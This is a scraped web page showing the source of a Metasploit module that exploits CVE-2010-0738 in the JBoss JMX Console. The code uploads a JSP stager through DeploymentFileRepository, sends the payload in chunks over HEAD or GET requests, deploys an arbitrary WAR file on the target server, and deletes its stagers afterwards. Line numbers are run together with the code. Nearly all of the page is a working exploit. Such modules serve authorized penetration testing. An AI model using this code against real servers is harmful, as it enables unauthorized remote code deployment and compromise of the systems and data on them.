Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::JBoss78def initialize9super(10'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment',11'Description' => %q{12This module uses the DeploymentFileRepository class in the JBoss Application Server13to deploy a JSP file which then deploys an arbitrary WAR file.14},15'Author' => [16'us3r777 <us3r777[at]n0b0.so>'17],18'References' => [19[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST20[ 'OSVDB', '64171' ],21[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],22[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]23],24'Actions' => [25['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],26['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]27],28'DefaultAction' => 'Deploy',29'License' => BSD_LICENSE,30)3132register_options(33[34Opt::RPORT(8080),35OptString.new('APPBASE', [ true, 'Application base name', 'payload']),36OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])37]38)39end4041def deploy_action(app_base, war_data)42stager_base = Rex::Text.rand_text_alpha(rand(8..15))43stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))44encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')45stager_contents = stager_jsp_with_payload(app_base, encoded_payload)4647if http_verb == 'POST'48print_status('Deploying stager for the WAR file...')49res = upload_file(stager_base, stager_jsp_name, stager_contents)50else51print_status('Deploying minimal stager to upload the payload...')52head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15))53head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)54head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp'55res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)5657# We split the stager_jsp_code in multiple junks and transfer on the58# target with multiple requests59current_pos = 060while current_pos < stager_contents.length61next_pos = current_pos + 5000 + rand(100)62vars_get = { 'arg0' => stager_contents[current_pos, next_pos] }63print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")64res = deploy('uri' => head_stager_uri,65'vars_get' => vars_get)66current_pos += next_pos67end68end6970# Using HEAD may trigger a 500 Internal Server Error (at least on 4.2.3.GA),71# but the file still gets written.72unless res && (res.code == 200 || res.code == 500)73fail_with(Failure::Unknown, 'Failed to deploy')74end7576print_status('Calling stager to deploy the payload warfile (might take some time)')77stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'78stager_res = deploy('uri' => stager_uri,79'method' => 'GET')8081if res && res.code == 20082print_good('Payload deployed')83else84print_error('Failed to deploy final payload')85end8687# Cleaning stagers88print_status('Undeploying stagers via DeploymentFileRepository.remove()...')89print_status('This might take some time, be patient...') if http_verb == 'HEAD'90delete_res = []91if head_stager_jsp_name92delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')93end94delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')95delete_res << delete_file('./', stager_base + '.war', '')96delete_res.each do |res|97if !res98print_warning('Unable to remove WAR [No Response]')99elsif (res.code < 200 || res.code >= 300)100print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")101end102end103end104105# Undeploy the WAR and the stager if needed106def undeploy_action(app_base)107print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...")108print_status('This might take some time, be patient...') if http_verb == 'HEAD'109res = delete_file('./', app_base + '.war', '')110111unless res112print_error('Unable to remove WAR (no response)')113return114end115116if res.code < 200 || res.code >= 300117print_error("Unable to remove WAR [#{res.code} #{res.message}]")118else119print_good('Successfully removed')120end121end122123def run124app_base = datastore['APPBASE']125126case action.name127when 'Deploy'128unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])129fail_with(Failure::BadConfig, 'Unable to open WARFILE')130end131war_data = File.read(datastore['WARFILE'], mode: 'rb')132deploy_action(app_base, war_data)133when 'Undeploy'134undeploy_action(app_base)135end136end137end138139140